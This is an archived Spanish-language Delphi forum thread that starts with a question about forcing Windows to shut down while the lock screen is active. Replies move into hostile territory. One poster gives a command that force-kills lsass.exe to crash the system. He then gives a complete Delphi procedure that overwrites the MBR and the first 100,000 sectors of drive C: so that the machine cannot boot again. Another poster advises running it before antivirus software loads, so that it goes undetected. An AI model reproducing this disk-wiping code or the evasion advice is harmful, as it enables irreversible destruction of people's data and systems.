PDA

Ver la Versión Completa : Apagar desde la "pantalla de bienvenida"


Wellnic
28-04-2007, 23:54:55
Hola
El otro día hice el típico programa de novato para probar los distintos modos de apagar el ordenador:

procedure TForm1.FormCreate(Sender: TObject);
Var TokenPriv: TTokenPrivileges;
H: DWord;
HToken: THandle;
Begin
if Win32Platform = VER_PLATFORM_WIN32_NT then
begin
OpenProcessToken(GetCurrentProcess,
TOKEN_ADJUST_PRIVILEGES,HToken);
LookUpPrivilegeValue(NIL, 'SeShutdownPrivilege',
TokenPriv.Privileges[0].Luid);
TokenPriv.PrivilegeCount := 1;
TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
H := 0;
AdjustTokenPrivileges(HToken, FALSE,
TokenPriv, 0, PTokenPrivileges(NIL)^, H);
CloseHandle(HToken);
End;
end;
...
//Mi código:
procedure TForm1.Timer1Timer(Sender: TObject);
begin
Gauge1.AddProgress(1); if Gauge1.Progress < Gauge1.MaxValue Then exit;
Case RadioGroup1.ItemIndex Of
0: ExitWindowsEx(EWX_LOGOFF Or EWX_FORCE, 0);
1: ExitWindowsEx(EWX_SHUTDOWN Or EWX_FORCE, 0);
2: ExitWindowsEx(EWX_REBOOT or EWX_FORCE, 0);
3: ExitWindowsEx(EWX_POWEROFF Or EWX_FORCE, 0);
4: SetSystemPowerState(False, True);
end;
Application.Terminate;
end;

Funciona como esperaba, excepto cuando pongo la "pantalla de bienvenida" de Windows, pulsando, por ejemplo, Win+L (observad que he puesto una cuenta atrás, de 5 segundos, para que me dé tiempo), en este caso no se apaga el PC, ni aunque se ejecute ExitWindowsEx(EWX_POWEROFF, FORCE), se limita a cerrar la cuenta. ¿Se puede solucionar esto, es decir, poder apagar, mediante código, aunque esté puesta la "pantalla de bienvenida"?
(Como cosa curiosa, hibernar sí se puede).

cHackAll
29-04-2007, 23:33:28
Talvez no sea la respuesta que esperas... no se me ocurrió hacer tal asunto (Win+L) + Cuenta regresiva de apagado. Pero tengo una solucion que te va a funcionar.

Utiliza programa shutdown.exe que viene junto con tu S.O. correlo sin parámetros para ver con cuales cuenta y una descripcion de ellos.

Para correrlo usa WinExec o CreateProcess con los parametros que veas necesarios.

Suerte.

aprendiz2
30-04-2007, 07:11:23
Hola ! Probablemente usted ya conozca esta forma, pero la pongo aqui, porque quizas a otros les pueda servir. ( hace poco que yo la descubri, y me gusto mucho ! ).

la idea es "terminar ( forzado )" alguna tarea que sea fundamental para win...

Por ejemplo, si uno va al task-manager ( ctrl - alt - del ) y termina el proceso LSASS.EXE, win... decide apagar la PC de una forma muy bonita. Hasta le pone un timer regresivo y toda la cosa !!.


Hay un comando en DOS que permite hacer eso: TASKKILL.EXE

Tiene muchas formas diferentes para decirle cual(es) tareas terminar.

Para ejecutarlo desde Delphi, hay que usar el WinExec, de esta forma:

winExec( 'TASKKILL.EXE /F /IM LSASS.EXE', SW_HIDE );

( pon esto adentro de un boton, guarda todos tus trabajos, y despues lo pruebas..., veras que bonito se apaga la PC !!. ).

Puedes experimentar con terminar el EXPLORER.EXE y otras tareas que aparecen en el Task-manager, .... realmente interesante !!

( ... y si a alguien le interesa hacer que la PC no pueda encender otra vez despues de apagarla.. y que se pierda todo lo que hay en ella..., inclusive el win..., que me escriba un correo ! -jaja quizas a algun politico le interese algun programa asi, para una emergencia ! )

Saludos, ojala y esto le sirva a alguien

cHackAll
03-05-2007, 00:47:28
Estimado aprendiz2, dos cosas:

1. el "shutdown -f - ..." te pone justamente ese mensajito que tanto os gusta.
2. El lsass.exe es un nombre de proceso crítico, el cual no puede ser finalizado con los utilitarios que el Güindos nos da (Ej. TaskKill). Finalizandolo por código... eso si.

...y si a alguien le interesa hacer que la PC no pueda encender otra vez despues de apagarla..

Explicame un poco más, que la idea no me queda muy clara... hablas de que no arranque el S.O. o que no arranque el MBR, o que le falte alguna DLL al Güindos y se tire... dime.

Saludos

aprendiz2
03-05-2007, 02:24:37
2. El lsass.exe es un nombre de proceso crítico, el cual no puede ser finalizado con los utilitarios que el Güindos nos da (Ej. TaskKill). Finalizandolo por código... eso si.


Hola cHackAll, gracias por escribir !!.

En mi PC y otras que he probado, el taskkill.exe de DOS, sí termina la tarea lsass.exe.

( la mayoria del las otras tareas no las termina, o vuelven a arrancar automaticamente ).

Es mas, desde el task manager de Windows puedo terminar esa tarea en mi PC. En otras PC que he probado (con XP), tambien !.

Quizas en tu PC se porta diferente. Me da curiosidad.. dejame saber !!!

Puedes probarlo desde DOS facilmente...( estoy seguro que sabes mas de este tema que yo !! ).

c:\> taskkill /F /IM LSASS.EXE


( hace poco hubo un virus rodando que hacia eso exactamente! Terminaba el lsass.exe. Por eso me dio curiosidad probar... Quizas sea util en alguna ocasion !!! -no para virus, por supuesto- ).

En cuanto al otro tema.... simplemente escribir "basura" en sectores importantes del disco duro.

Para mi sorpresa, Win2 no protesta !!!

( en un principio, estaba yo en el tema de leer un CD por sectores, y leer/escribir a un CD-RW por sectores..., con proposito de un hacer un disco "llave", di muchas vueltas con las benditas API createFile, readFile... setFilePointer...,y despues de lograrlo, me doy cuenta que puedo hacer lo mismo con los antiguos "read" y "write" de Pascal, mucho mas sencillo. Despues me dio curiosidad... y probe leer un sector del disco duro, y lo leyo... y despues me pregunte.. y se podra escribir ?... la respuesta fue, si!Win2 no los protege.


procedure Adios;
type
TSector : array[1..512] of byte;

var
F : File of TSector;
Sector : TSector ;
i : integer;
begin
fillchar( Sector, sizeOf( TSector ), 0 );

{ abrir toda la unidad C: como si fuera un archivo }
{ se puede abrir un CD de esta misma forma,para leerlo }
{ solo que hay que poner }
{ FileMode := 0; solo lectura, antes del reset }

assignFile( F, '\\.\C:' ); { funciona en NT / XP }
reset( F );

{ quizas hay algo importante en los primeros 100 mil sectores... }
{ esto solo toma un segundo... }

{ comenzar con el sector #1 }

seek( F, 1 );

for i:= 1 to 100000 do
write( F, Sector );

{ intentar el Sector 0 al final, quizas el anti-bichos proteste }
{ o quizas el BIOS tiene activada la proteccion, y avise }

seek( F, 0 );
write( F,Sector );
CloseFile( F ); { para que ?? ... no tiene sentido !! jaja !! }

{ Cuando apagues la PC, y trates de encenderla... sorpresa !! }
end;



( disculpe si hay algun error de compilacion, el programa que teclee arriba no paso por el compilador, pero la idea esta ahi ).

Espero le sirva para algo !

aprendiz2
03-05-2007, 06:45:05
Es mas, desde el task manager de Windows puedo terminar esa tarea en mi PC. En otras PC que he probado (con XP), tambien !.


Tienes razon cHackAll, desde el task-manager de Windows da problemas detener el LSASS.EXE ( no lo permite ).

Pero desde DOS, en todas las que he probado si se puede con el taskkill.exe ( las PC tienen Win XP original, S.Pack 2 ). Con el WinExec desde Dephi tambien lo hace.

Saludos, buenas noches !!

cHackAll
06-05-2007, 23:35:36
c:\> taskkill /F /IM LSASS.EXE

ERROR: no se pudo terminar el proceso "lsass.exe" con PID 736.
Motivo: Acceso denegado.

En definitiva no se como te funciona a tí, me llama la atención porque puede depender ésto del estado de las directivas de seguridad de los equipos donde haces la prueba. Sin ir más allá lo que decías de tu procedimiento "adios":

En definitiva me gusta por lo que hace más que cómo lo hace. Cuida tus inclinaciones del lado obscuro amigo mio, pues en algun momento (si es que no lo hizo ya), te acabará gustando!

PD: Yo cási aseguro que la mayoría de los antivirus protegen el MBR, Boot, etc. d los sistemas de archivos de los equipos que resguardan. Te aconsejo (repito: si te gusta), que utilices la misma idea pero en el momento propicio, cuando el Antivirus (cualfuese), todavía no esté funcionando...

Suerte!